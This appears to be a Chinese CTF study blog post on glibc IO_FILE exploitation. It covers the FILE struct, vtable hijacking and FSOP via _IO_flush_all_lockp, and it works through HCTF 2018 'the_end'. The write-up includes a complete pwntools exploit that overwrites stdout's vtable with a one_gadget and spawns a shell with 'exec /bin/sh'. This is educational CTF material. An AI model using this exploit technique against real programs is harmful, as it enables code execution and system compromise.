IO_FILE利用与劫持vtables控制程序流程、FSOP

 

FILE结构

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。

在标准 I/O 库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr。因此在初始状态下,_IO_list_all 指向了一个有这些文件流构成的链表,但是需要注意的是这三个文件流位于 libc.so 的数据段。而我们使用 fopen 创建的文件流是分配在堆内存上的

我们可以在 libc.so 中找到 stdinstdoutstderr 等符号,这些符号是指向 FILE 结构的指针,真正结构的符号是

_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_

该结构体有一个plus版的包含着,其中有一个成员交虚表

在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8

vtable

void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail
   
   8 NULL, // xsputn  #printf
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};

2018 HCTF the_end

其功能可以对任意位置进行写5个字节

还直接爆了libc给你

知识点

程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vatable 中 _setbuf 函数。

思路

由于我们知道exit执行后,会调用虚表里的_setbuf函数,所以我们可以劫持这个函数为我们的onegadget,我们就可以getshell

  1. 其次由于我们只有5个字节可以修改,所以首先我们需要构造一个假的vatble
  2. 由于_setbuf在虚表的0x58偏移处,而这里我们需要修改为one_gadget,所以应该要改8个字节才对,可惜我们最多只能修改5个字节,所以我们可以这样分配5个字节:2个字节分配个虚表的修改,gadget需要3个字节或者反过来
  3. 当我们分配完字节后,需要自己到内存中取找到满足条件的地址,条件就是fake vtable+0x58这里的地址值需要在libc内,并且与one_gadget的偏移需要在2-3个字节内即可。而fake vtable则必须要vtable周围找才行,所以我们只能修改2-3个字节

这里我引用了下wiki里的代码

from pwn import *
context.log_level="debug"

libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# p = process('the_end')
p = remote('127.0.0.1',1234)

rem = 0
if rem ==1:
    p = remote('150.109.44.250',20002)
    p.recvuntil('Input your token:')
    p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU')

sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]

libc_base = long(sleep_ad,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02b0
vtables =     libc_base + 0x3C56F8

fake_vtable = libc_base + 0x3c5588
target_addr = libc_base + 0x3c55e0

print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])

# gdb.attach(p)

for i in range(2):
    p.send(p64(vtables+i))
    p.send(p64(fake_vtable)[i])


for i in range(3):
    p.send(p64(target_addr+i))
    p.send(p64(one_gadget)[i])

p.sendline("exec /bin/sh 1>&0")

p.interactive()

参考文章:FILE 结构

     伪造 vtable 劫持程序流程

FSOP

这个之前有看过一点题目的wp,先说下自己的理解

某些函数在调用的时候,会因为FIle结构体中的read之类的和write之类的指针不一样,而流程不一样,这里之前看了pwnki师傅推荐的博客

所以呢,我们只要能够修改这里面的值,那么我们就可以做到控制程序流程,来getshell

我们再来看看wiki上的解释

int
_IO_flush_all_lockp (int do_lock)
{
  ...
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
  {
       ...
       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }
        ...
  }
}

_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

1. 当 libc 执行 abort 流程时

2. 当执行 exit 函数时

3. 当执行流从 main 函数返回时

参考资料:FSOP

     利用 _IO_2_1_stdout_ 泄露信息

原文地址:https://www.cnblogs.com/pppyyyzzz/p/14257237.html